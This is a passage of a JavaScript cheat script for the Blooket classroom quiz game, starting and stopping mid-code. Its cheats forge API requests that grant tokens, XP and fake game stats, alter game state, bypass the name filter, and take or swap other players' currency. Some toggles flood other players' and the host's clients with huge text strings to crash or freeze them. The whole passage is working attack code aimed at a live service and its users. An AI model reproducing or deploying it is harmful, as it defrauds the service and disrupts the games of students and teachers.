824 questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(24 * Math.random())]
826 credentials: "include",
827 method: "POST"
828 }).then(e => e.json());
829 await fetch("https://play.blooket.com/api/playersessions/landings", {
830 body: JSON.stringify({
833 credentials: "include",
834 method: "POST"
835 }), await fetch("https://play.blooket.com/api/playersessions/questions?t=" + t, {
836 credentials: "include"
838 let {
839 name: o,
840 blook: {
841 name: a
843 } = Object.values(function e(t = document.querySelector("body>div")) {
844 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
845 }())[1].children[0]._owner.stateNode.props.user.data;
846 await fetch("https://play.blooket.com/api/users/factorystats", {
847 body: JSON.stringify({
848 blookUsed: a,
850 name: o,
851 cash: Math.floor(9e7 * Math.random()) + 1e7,
852 correctAnswers: Math.floor(500 * Math.random()) + 500,
853 upgrades: Math.floor(300 * Math.random()) + 300,
854 mode: "Time-Solo",
855 nameUsed: "You",
856 place: 1,
857 playersDefeated: 0
859 credentials: "include",
860 method: "PUT"
861 }), fetch("https://play.blooket.com/api/users/add-rewards", {
862 body: JSON.stringify({
864 name: o,
865 addedTokens: 500,
866 addedXp: 300
868 credentials: "include",
869 method: "PUT"
870 }).then(e => e.json()).then(({
871 dailyReward: e
872 }) => alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(() => alert("There was an error when adding rewards."))
873 } else alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/")
875 }, {
876 name: "Use any Blook",
877 description: "Allows you to play as any blook.",
878 run: function() {
879 (() => {
880 const stateNode = Object.values(document.querySelector('#app>div>div'))[1].children[0]._owner.stateNode;
881 let i = document.createElement('iframe');
882 document.body.append(i);
883 const alert = i.contentWindow.alert.bind(window);
884 i.remove();
885 if (!(stateNode.state.unlocks || stateNode.state.blookData)) {
886 alert("This must be run on the lobby or dashboard!");
887 return;
889 if (stateNode.state.blookData) {
890 let oe = Object.entries;
891 Object.entries = function(a) {
892 if (a?.Chick) {
893 allBlooks(a);
894 Object.entries = oe;
896 return oe.apply(this, arguments);
898 stateNode.render();
900 function allBlooks(blooks) {
901 let blookData = {};
902 stateNode.setState({
903 blookData: Object.keys(blooks).reduce((a, b) => (a[b] = stateNode.state.blookData[b] || 1, a), {}),
904 allSets: Object.values(blooks).reduce((a, b) => {
905 return !a.includes(b.set) && a.push(b.set), a
906 }, [])
909 } else {
910 stateNode.setState({
911 unlocks: {
912 includes: e => 1
916 })();
918 }, {
919 name: "Bypass Filter",
920 description: "Bypasses the name filter",
921 run: function() {
922 var e, t, o, a;
923 let r;
924 o = function e(t) {
925 for (var o = t.split(""), a = "", r = 0; r < o.length; r++) a += "\xad" + o[r];
926 return a
927 }(t = window.prompt("Enter some text:")), r = document.createElement("iframe"), document.body.appendChild(r), window.alert = r.contentWindow.alert.bind(r.contentWindow), (e = document.createElement("textarea")).value = o, e.style.position = "fixed", e.style.top = 0, e.style.left = 0, e.style.opacity = 0, document.body.appendChild(e), e.select(), document.execCommand("copy"), alert("Bypassed text copied to clipboard!"), r.remove(), document.body.removeChild(e)
929 }, {
930 name: "Host Any Gamemode",
931 description: "Change the selected gamemode on the host settings page",
932 run: function(e) {
933 let t = document.createElement("iframe");
934 if (document.body.append(t), window.alert = t.contentWindow.alert.bind(window), window.prompt = t.contentWindow.prompt.bind(window), t.remove(), "/host/settings" == location.pathname) {
935 let o = ["Racing", "Classic", "Factory", "Cafe", "Defense2", "Defense", "Royale", "Gold", "Candy", "Brawl", "Hack", "Pirate", "Fish", "Dino", "Toy", "Rush"],
936 a = prompt(`Which gamemode do you want to switch to? (Case sensitive) ${o.slice(0,o.length-1).join(", ")} or ${o[o.length-1]}`);
937 if (o.includes(a)) {
938 let {
939 stateNode: r
940 } = Object.values(function e(t = document.querySelector("body>div")) {
941 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
942 }())[1].children[0]._owner;
943 r.setState({
944 settings: {
945 type: a
948 } else alert("Gamemode not found, make sure you spelled and capitalized it right.")
949 } else alert("Run this script on the host settings page")
952 voyage: [{
953 name: "Heist ESP",
954 description: "Shows you what's under each chest during a heist",
955 type: "toggle",
956 enabled: false,
957 data: null,
958 run: function() {
959 if (this.enabled) {
960 this.enabled = false;
961 clearInterval(this.data);
962 this.data = null;
963 Array.prototype.forEach.call(document.querySelectorAll(".chestESP"), x => x.remove());
964 } else {
965 this.enabled = true;
966 this.data = setInterval(() => {
967 const cheat = (async () => {
968 let {
969 stateNode
970 } = Object.values((function react(r = document.querySelector("body>div")) {
971 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
972 })())[1].children[0]._owner;
973 if (stateNode.state.stage == "heist") {
974 const imgs = Array.prototype.map.call(Array.prototype.slice.call(document.querySelector("[class*=prizesList]").children, 1, 4), (x) => x.querySelector("img").src);
975 const esp = Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.memoizedState;
976 for (const e of document.querySelectorAll("[class*=boxContent] > div")) e.remove();
977 const open = Object.values(document.querySelector("[class*=modal]"))[0].return.memoizedState.next.next.memoizedState;
978 Array.prototype.forEach.call(document.querySelector("[class*=chestsWrapper]").children, (container, i) => {
979 const box = container.firstChild.firstChild;
980 if (open.includes(i)) return box.style.opacity = "";
981 box.style.opacity = "0.5";
982 let d = document.createElement("div");
983 d.innerHTML = "<img src='" + imgs[2 - esp[i]] + "' style='max-width: 75%; max-height: 75%'></img>";
984 d.className = "chestESP";
985 d.style.position = "absolute";
986 d.style.inset = "0";
987 d.style.display = "grid";
988 d.style.placeItems = "center";
989 d.style.pointerEvents = "none";
990 container.onclick = () => {
991 d.remove();
992 box.style.opacity = "";
994 container.firstChild.prepend(d);
998 cheat();
999 }, 50);
1002 }, {
1003 name: "Max Levels",
1004 description: "Maxes out all islands and your boat",
1005 run: function() {
1006 let {
1007 stateNode: e
1008 } = Object.values(function e(t = document.querySelector("body>div")) {
1009 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1010 }())[1].children[0]._owner;
1011 e.setState({
1012 islandLevels: Array(e.state.islandLevels.length).fill(5)
1013 }, e.updateBoatLevel)
1015 }, {
1016 name: "Set Doubloons",
1017 description: "Sets Doubloons",
1018 run: function() {
1019 let e = document.createElement("iframe");
1020 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
1021 let t = parseInt(prompt("How many doubloons do you want?")) || 0,
1023 stateNode: o
1024 } = Object.values(function e(t = document.querySelector("body>div")) {
1025 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1026 }())[1].children[0]._owner;
1027 o.setState({
1028 doubloons: t
1029 }), o.props.liveGameController.setVal({
1030 path: `c/${o.props.client.name}/d`,
1031 val: t
1034 }, {
1035 name: "Start Heist",
1036 description: "Starts a heist on someone",
1037 run: function() {
1038 let e = document.createElement("iframe");
1039 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
1040 let {
1041 stateNode: t
1042 } = Object.values(function e(t = document.querySelector("body>div")) {
1043 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1044 }())[1].children[0]._owner;
1045 t.props.liveGameController.getDatabaseVal("c", function(e) {
1046 let o = Object.entries(e || {}).reduce((e, [o, a]) => (o != t.props.client.name && e.push({
1047 name: o,
1048 blook: a.b,
1049 doubloons: a.d || 0
1050 }), e), []);
1051 if (0 === o.length) return t.questionsToAnswer = 1, void t.randomQ();
1052 let {
1053 name: a,
1054 blook: r,
1055 doubloons: n
1056 } = o.find(e => e.name == prompt("Who would you like to heist? (Defaults to top player if no one found)")) || o.sort((e, t) => t.doubloons - e.doubloons)[0];
1057 t.setState({
1058 stage: "heist",
1059 heistInfo: {
1060 name: a,
1061 blook: r
1063 prizeAmount: Math.max(1e3, n)
1067 }, {
1068 name: "Swap Doubloons",
1069 description: "Swaps Doubloons with someone",
1070 run: async function() {
1071 let e = document.createElement("iframe");
1072 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
1073 let {
1074 stateNode: t
1075 } = Object.values(function e(t = document.querySelector("body>div")) {
1076 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1077 }())[1].children[0]._owner, o = Object.entries(await new Promise(e => t.props.liveGameController.getDatabaseVal("c", e))).sort((e, t) => t[1].d - e[1].d).filter(e => e[0] != t.props.client.name), a = o.find(e => e[0] == prompt("Who would you like to swap with? (Defaults to top player if no one found)")) || o[0];
1078 t.props.liveGameController.setVal({
1079 path: `c/${t.props.client.name}`,
1080 val: {
1081 b: t.props.client.blook,
1082 d: a[1].d,
1083 tat: `${a[0]}:${a[1].d-t.state.doubloons}`
1085 }), t.setState({
1086 doubloons: a[1].d
1089 }, {
1090 name: "Take Doubloons",
1091 description: "Takes Doubloons from someone",
1092 run: async function(e) {
1093 let t = document.createElement("iframe");
1094 document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove();
1095 let {
1096 stateNode: o
1097 } = Object.values(function e(t = document.querySelector("body>div")) {
1098 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1099 }())[1].children[0]._owner, a = Object.entries(await new Promise(e => o.props.liveGameController.getDatabaseVal("c", e))).sort((e, t) => t[1].d - e[1].d).filter(e => e[0] != o.props.client.name), r = a.find(e => e[0] == prompt("Who would you like to take from? (Defaults to top player if no one found)")) || a[0];
1100 o.setState({
1101 doubloons: o.state.doubloons + r[1].d
1102 }), o.props.liveGameController.setVal({
1103 path: `c/${o.props.client.name}`,
1104 val: {
1105 b: o.props.client.blook,
1106 d: r[1].d,
1107 tat: `${r[0]}:${r[1].d}`
1111 }, {
1112 name: "Send Ad Text",
1113 description: "Sends a load of text to another player (This will override your blook!)",
1114 run: async function() {
1115 var player = window.prompt("Enter the player's name:");
1116 var text = window.prompt("Enter the text to send:");
1118 let t = document.createElement("iframe");
1119 document.body.append(t);
1120 window.prompt = t.contentWindow.prompt.bind(window);
1121 t.remove();
1123 let {
1124 stateNode: a
1125 } = Object.values(function e(t = document.querySelector("body>div")) {
1126 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
1127 }())[1].children[0]._owner;
1129 let o = Object.entries(await new Promise(e => a.props.liveGameController.getDatabaseVal("c", e)))
1130 .sort((e, t) => t[1].d - e[1].d)
1131 .filter(e => e[0] != a.props.client.name);
1133 let r = o.find(t => t[0] == player) || o[0];
1135 a.setState({
1136 doubloons: a.state.doubloons + r[1].d
1139 a.props.liveGameController.setVal({
1140 path: `c/${a.props.client.name}`,
1141 val: {
1142 b: a.props.client.blook,
1143 d: r[1].d,
1144 tat: `${r[0]}:${r[1].d}`
1148 let {
1149 props: t2
1150 } = Object.values(function e(t = document.querySelector("body>div")) {
1151 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"));
1152 }())[1].children[0]._owner.stateNode;
1154 let repeatedText = `Dog:${Array(500).fill(text).join(' ')}`;
1155 t2.client.blook = repeatedText;
1156 t2.liveGameController.setVal({
1157 path: `c/${t2.client.name}/b`,
1158 val: repeatedText
1162 brawl: [{
1163 name: "Double Enemy XP",
1164 description: "Doubles enemy XP drop value",
1165 run: function() {
1166 for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) {
1167 var t = e.object2;
1168 let o = t.classType.prototype.start;
1169 t.classType.prototype.start = function() {
1170 o.apply(this, arguments), this.val *= 2
1171 }, t.children.entries.forEach(e => e.val *= 2)
1174 }, {
1175 name: "Half Enemy Speed",
1176 description: "Makes enemies move 2x slower",
1177 run: function() {
1178 for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) {
1179 var t = e.object2;
1180 let o = t.classType.prototype.start;
1181 t.classType.prototype.start = function() {
1182 o.apply(this, arguments), this.speed *= .5
1183 }, t.children.entries.forEach(e => e.speed *= .5)
1186 }, {
1187 name: "Instant Kill",
1188 description: "Sets all enemies health to 1",
1189 run: function() {
1190 for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) {
1191 var t = e.object2;
1192 let o = t.classType.prototype.start;
1193 t.classType.prototype.start = function() {
1194 o.apply(this, arguments), this.hp = 1
1195 }, t.children.entries.forEach(e => e.hp = 1)
1198 }, {
1199 name: "Invincibility",
1200 description: "Makes you invincible",
1201 run: function() {
1202 for (let e of Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.filter(e => e.callbackContext?.toString().includes("invulnerableTime"))) e.collideCallback = () => {}
1204 }, {
1205 name: "Magnet",
1206 description: "Pulls all xp towards you",
1207 run: function() {
1208 Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.colliders._active.find(e => e.collideCallback?.toString().includes("magnetTime")).collideCallback({
1209 active: !0
1210 }, {
1211 active: !0,
1212 setActive() {},
1213 setVisible() {}
1216 }, {
1217 name: "Max Current Abilities",
1218 description: "Maxes out all your current abilities",
1219 run: function() {
1220 let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1221 for (var [t, o] of Object.entries(e.state.abilities))
1222 for (let a = 0; a < 10 - o; a++) e.game.current.scene.scenes[0].game.events.emit("level up", t, e.state.abilities[t]++);
1223 e.setState({
1224 level: e.game.current.scene.scenes[0].level = [1, 3, 5, 10, 15, 25, 35].sort((t, o) => Math.abs(t - e.state.level) - Math.abs(o - e.state.level))[0] - 1
1227 }, {
1228 name: "Next Level",
1229 description: "Skips to the next level",
1230 run: function() {
1231 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,
1233 object1: t,
1234 object2: o
1235 } = e.game.current.scene.scenes[0].physics.world.colliders._active.find(e => e.collideCallback?.toString().includes('emit("xp"'));
1236 o.get().spawn(t.x, t.y, (1 === (o = e.state.level) ? 1 : o < 5 ? 5 : o < 10 ? 10 : o < 20 ? 20 : o < 30 ? 30 : o < 40 ? 40 : o < 50 ? 50 : 100) - e.xp)
1238 }, {
1239 name: "Remove Obstacles",
1240 description: "Removes all rocks and obstacles",
1241 run: function() {
1242 Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.bodies.entries.forEach(e => {
1243 try {
1244 e.gameObject.frame.texture.key.includes("obstacle") && e.gameObject.destroy()
1245 } catch {}
1248 }, {
1249 name: "Kill Enemies",
1250 description: "Kills all current enemies",
1251 run: function() {
1252 Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].physics.world.bodies.entries.forEach(e => e?.gameObject?.receiveDamage?.(e.gameObject.hp, 1))
1254 }, {
1255 name: "Reset Health",
1256 description: "Resets health and gives invincibility for 3 seconds",
1257 run: function() {
1258 Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner.stateNode.game.current.scene.scenes[0].game.events._events.respawn.fn()
1260 }, {
1261 name: "Set XP",
1262 description: "Sets amount of XP",
1263 run: function() {
1264 var e = parseFloat(window.prompt("Enter the amount of XP:")),
1265 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1266 t.setState({
1267 xp: e,
1268 totalXp: e
1269 }), t.xp = e, t.totalXp = e, t.props?.liveGameController.setVal({
1270 path: "c/".concat(t.props.client.name),
1271 val: {
1272 b: t.props.client.blook,
1273 xp: e
1277 }, {
1278 name: "Set Level",
1279 description: "Sets your level",
1280 run: function() {
1281 var e = parseInt(window.prompt("Enter your level:"));
1282 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1283 level: e
1287 cafe: [{
1288 name: "Spam Attack Player",
1289 description: "Attacks the player to make the game unplayable",
1290 type: "toggle",
1291 enabled: false,
1292 data: null,
1293 run: function() {
1294 var name = window.prompt("Enter the player's name:");
1295 if (this.enabled) {
1296 this.enabled = false;
1297 clearInterval(this.data);
1298 this.data = null;
1299 } else {
1300 this.enabled = true;
1302 function reactHandler() {
1303 return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner;
1306 var action = name + ":inspect";
1308 function spamAction() {
1309 var handler = reactHandler();
1310 if (handler && handler.stateNode && handler.stateNode.props && handler.stateNode.props.liveGameController) {
1311 handler.stateNode.props.liveGameController.setVal({
1312 id: handler.stateNode.props.client.hostId,
1313 path: "c/" + handler.stateNode.props.client.name + "/tat",
1314 val: action
1319 this.data = setInterval(spamAction, 50);
1322 }, {
1323 name: "Attack Player",
1324 description: "Sends the player a health inspection",
1325 run: function() {
1326 var targetPlayer = window.prompt("Enter the player's name:");
1328 function reactHandler() {
1329 return Object.values(document.querySelector('body div[class*="_body"]'))[1].children[0]._owner;
1332 reactHandler().stateNode.props.liveGameController.setVal({
1333 id: reactHandler().stateNode.props.client.hostId,
1334 path: "c/" + reactHandler().stateNode.props.client.name + "/tat",
1335 val: targetPlayer + ":inspect"
1338 }, {
1339 name: "Max Items",
1340 description: "Maxes out items in the shop (Only usable in the shop)",
1341 run: function() {
1342 let e = document.createElement("iframe");
1343 if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/cafe/shop" !== window.location.pathname) alert("This can only be run in the shop");
1344 else {
1345 let {
1346 stateNode: t
1347 } = Object.values(function e(t = document.querySelector("body>div")) {
1348 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1349 }())[1].children[0]._owner;
1350 t.setState({
1351 items: Object.fromEntries(Object.entries(t.state.items).map(e => [e[0], 5]))
1355 }, {
1356 name: "Remove Customers",
1357 description: "Skips the current customers (Not usable in the shop)",
1358 run: function() {
1359 let {
1360 stateNode: e
1361 } = Object.values(function e(t = document.querySelector("body>div")) {
1362 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1363 }())[1].children[0]._owner;
1364 e.state.customers.forEach((t, o) => Object.keys(t).length && e.removeCustomer(o, !0))
1366 }, {
1367 name: "Reset Abilities",
1368 description: "Resets used abilities in shop (Only usable in the shop)",
1369 run: function() {
1370 let e = document.createElement("iframe");
1371 if (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/cafe/shop" !== window.location.pathname) alert("This can only be run in the shop");
1372 else {
1373 let {
1374 stateNode: t
1375 } = Object.values(function e(t = document.querySelector("body>div")) {
1376 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1377 }())[1].children[0]._owner;
1378 t.setState({
1379 abilities: Object.fromEntries(Object.entries(t.state.abilities).map(e => [e[0], 5]))
1383 }, {
1384 name: "Set Cash",
1385 description: "Sets cafe cash",
1386 run: function() {
1387 let e = document.createElement("iframe");
1388 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove();
1389 let t = Number(parseInt(prompt("How much cash would you like?"))),
1391 stateNode: o
1392 } = Object.values(function e(t = document.querySelector("body>div")) {
1393 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1394 }())[1].children[0]._owner;
1395 o.setState({
1396 cafeCash: t
1397 }), o.props.liveGameController.setVal({
1398 path: `c/${o.props.client.name}`,
1399 val: {
1400 b: o.props.client.blook,
1401 ca: t
1405 }, {
1406 name: "Stock Food",
1407 description: "Stocks all food to 99 (Not usable in the shop)",
1408 run: function() {
1409 var e = document.createElement("iframe");
1410 document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), "/cafe" !== window.location.pathname ? alert("This can't be run in the shop") : (e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).setState({
1411 foods: e.state.foods.map(e => ({
1412 ...e,
1413 stock: 99,
1414 level: 5
1419 hack: [{
1420 name: "Choice ESP",
1421 description: "Shows what each choice will give you",
1422 type: "toggle",
1423 enabled: !1,
1424 data: null,
1425 run: function() {
1426 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
1427 let {
1428 stateNode: e
1429 } = Object.values(function e(t = document.querySelector("body>div")) {
1430 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1431 }())[1].children[0]._owner, {
1432 text: t
1433 } = e.state.choices[0], o = document.querySelector("[class^=styles__feedbackContainer___]");
1434 if (o.children.length <= 4) {
1435 let a = document.createElement("div");
1436 a.style.color = "white", a.style.fontFamily = "Inconsolata,Helvetica,monospace,sans-serif", a.style.fontSize = "2em", a.style.display = "flex", a.style.justifyContent = "center", a.style.marginTop = "675px", a.innerText = t, o.append(a)
1438 }, 50))
1440 }, {
1441 name: "Password ESP",
1442 description: "Highlights the wrong passwords",
1443 type: "toggle",
1444 enabled: !1,
1445 data: null,
1446 run: function() {
1447 try {
1448 let e = this;
1449 e.enabled ? (e.enabled = !1, clearInterval(e.data), e.data = null) : (e.enabled = !0, e.data = setInterval(() => {
1450 let {
1451 state: e
1452 } = Object.values(function e(t = document.querySelector("#app > div > div")) {
1453 return Object.values(t)[1]?.children?.[1]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1454 }())[1].children[1]._owner.stateNode;
1455 "hack" === e.stage && Array.from(document.querySelectorAll('[role="button"]._button_mrhfb_157')).forEach(t => {
1456 t.textContent.trim() !== e.correctPassword.trim() ? (t.style.outlineColor = "rgba(255, 64, 64, 0.8)", t.style.backgroundColor = "rgba(255, 64, 64, 0.8)", t.style.textShadow = "0 0 1px #f33") : (t.style.outlineColor = "", t.style.backgroundColor = "", t.style.textShadow = "")
1458 }, 50))
1459 } catch (t) {
1460 console.error("An error occurred:", t)
1463 }, {
1464 name: "Always Triple",
1465 description: "Always get triple crypto",
1466 type: "toggle",
1467 enabled: !1,
1468 data: null,
1469 run: function() {
1470 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1471 choices: [{
1472 type: "mult",
1473 val: 3,
1474 rate: .075,
1475 blook: "Brainy Bot",
1476 text: "Triple Crypto"
1478 }), 50))
1480 }, {
1481 name: "Always Hack",
1482 description: "Always get hack",
1483 type: "toggle",
1484 enabled: !1,
1485 data: null,
1486 run: function() {
1487 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
1488 choices: [{
1489 type: "hack",
1490 val: 3,
1491 rate: .075,
1492 blook: "Mega Bot",
1493 text: "HACK"
1495 }), 50))
1497 }, {
1498 name: "Crash Password",
1499 description: "Crashes other players when they attempt to hack you",
1500 type: "toggle",
1501 enabled: !1,
1502 data: null,
1503 run: function() {
1504 var e = Object.values(function e(t = document.querySelector("#app")) {
1505 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1506 }())[1].children[0]._owner.stateNode;
1507 if (this.enabled) this.enabled = !1, clearInterval(this.data), this.data = null, e.props.liveGameController.setVal({
1508 path: `c/${e.props.client.name}/p`,
1509 val: e.state?.password
1511 else {
1512 this.enabled = !0;
1513 let t = () => {
1514 e.props.liveGameController.setVal({
1515 path: `c/${e.props.client.name}/p/toString`,
1516 val: "crash"
1519 this.data = setInterval(t, 25)
1522 }, {
1523 name: "Set Freeze Password",
1524 description: "Freezes other players when they attempt to hack you",
1525 type: "toggle",
1526 enabled: !1,
1527 data: null,
1528 run: function() {
1529 const encodedChars = [
1530 '\\u2f9f', '\\u4fff', '\\u4f52', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u0E47', '\\u4FF1', '\\u4FF2'
1533 const chars = encodedChars.map(char => eval(`"${char}"`));
1535 function makeLongText() {
1536 return new Array(3e+6).fill().map(e => chars[Math.floor(Math.random() * chars.length)]).join("");
1539 var t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1541 if (this.enabled) {
1542 this.enabled = !1;
1543 clearInterval(this.data);
1544 this.data = null;
1545 t.setState({
1546 password: ''
1548 t.props.liveGameController.setVal({
1549 path: "c/".concat(t.props.client.name),
1550 val: {
1551 b: t.props.client.blook,
1552 p: '',
1553 cr: t.state.crypto
1556 } else {
1557 this.enabled = !0;
1558 let lagFunction = () => {
1559 var e = makeLongText();
1560 t.setState({
1561 password: e
1563 t.props.liveGameController.setVal({
1564 path: "c/".concat(t.props.client.name),
1565 val: {
1566 b: t.props.client.blook,
1567 p: e,
1568 cr: t.state.crypto
1572 this.data = setInterval(lagFunction, 25);
1575 }, {
1576 name: "Auto Guess",
1577 description: "Automatically performs the hack for you",
1578 type: "toggle",
1579 enabled: !1,
1580 data: null,
1581 run: function() {
1582 try {
1583 let e = this;
1584 e.enabled ? (e.enabled = !1, clearInterval(e.data), e.data = null) : (e.enabled = !0, e.data = setInterval(() => {
1585 if ("hack" === ("hack" === window.location.pathname.split("/")[2] && "hack")) {
1586 let {
1587 stage: e,
1588 correctPassword: t
1589 } = Object.values(document.querySelector("#app > div > div"))[1].children[1]._owner.stateNode.state;
1590 "hack" === e && Array.from(document.querySelectorAll("div")).filter(e => e.innerHTML === t)[0].click()
1592 }, 50))
1593 } catch (t) {
1594 console.error("An error occurred:", t)
1597 }, {
1598 name: "Set Host Screen Green",
1599 description: "Makes the whole screen filled with text",
1600 type: "toggle",
1601 enabled: !1,
1602 data: null,
1603 run: function() {
1604 var a = Object.values(function e(t = document.querySelector("#app")) {
1605 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1606 }())[1].children[0]._owner.stateNode;
1608 if (this.enabled) {
1609 this.enabled = !1;
1610 clearInterval(this.data);
1611 this.data = null;
1612 a.props.liveGameController.setVal({
1613 path: `c/${a.props.client.name}/cr`,
1614 val: ""
1616 } else {
1617 this.enabled = !0;
1618 let t = () => {
1619 var o = [];
1620 const char = eval('"\\u0e47"');
1621 for (let r = 0; r < 999; r++) {
1622 o.push(char.repeat(70));
1624 a.props.liveGameController.setVal({
1625 path: `c/${a.props.client.name}/cr`,
1626 val: `9999999999999999999999999999999999999999999999${o.join(" ")}`
1629 this.data = setInterval(t, 25);
1632 }, {
1633 name: "Remove Hack",
1634 description: "",
1635 run: function() {
1636 Object.values(function e(t = document.querySelector("body>div")) {
1637 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1638 }())[1].children[0]._owner.stateNode.setState({
1639 hack: ""
1642 }, {
1643 name: "Set Crypto",
1644 description: "Sets crypto",
1645 run: function() {
1646 var e = document.createElement("iframe"),
1647 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much crypto would you like?")))),
1648 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1649 t.setState({
1650 crypto: e,
1651 crypto2: e
1652 }), t.props.liveGameController.setVal({
1653 path: "c/".concat(t.props.client.name),
1654 val: {
1655 b: t.props.client.blook,
1656 p: t.state.password,
1657 cr: e
1661 }, {
1662 name: "Set Password",
1663 description: "Sets hacking password",
1664 run: function() {
1665 var e = document.createElement("iframe"),
1666 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), prompt("What do you want to set your password to?")),
1667 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
1668 t.setState({
1669 password: e
1670 }), t.props.liveGameController.setVal({
1671 path: "c/".concat(t.props.client.name),
1672 val: {
1673 b: t.props.client.blook,
1674 p: e,
1675 cr: t.state.crypto
1679 }, {
1680 name: "Set Screen Text",
1681 description: "Makes the whole screen filled with text",
1682 run: function() {
1683 var e = window.prompt("Enter the text you want to display:");
1684 let t = document.createElement("iframe");
1685 document.body.append(t), window.prompt = t.contentWindow.prompt.bind(window), t.remove();
1686 var o = Object.values(function e(t = document.querySelector("#app")) {
1687 return Object.values(t)[1]?.children?.[0]?._owner.stateNode ? t : e(t.querySelector(":scope>div"))
1688 }())[1].children[0]._owner.stateNode,
1689 a = [];
1690 for (let r = 0; r < 999; r++) a.push(e);
1691 o.props.liveGameController.setVal({
1692 path: `c/${o.props.client.name}/cr`,
1693 val: `9999999999999999999999999999999999999999999999${a.join(" ")}`
1696 }, {
1697 name: "Steal Player's Crypto",
1698 description: "Steals all of someone's crypto",
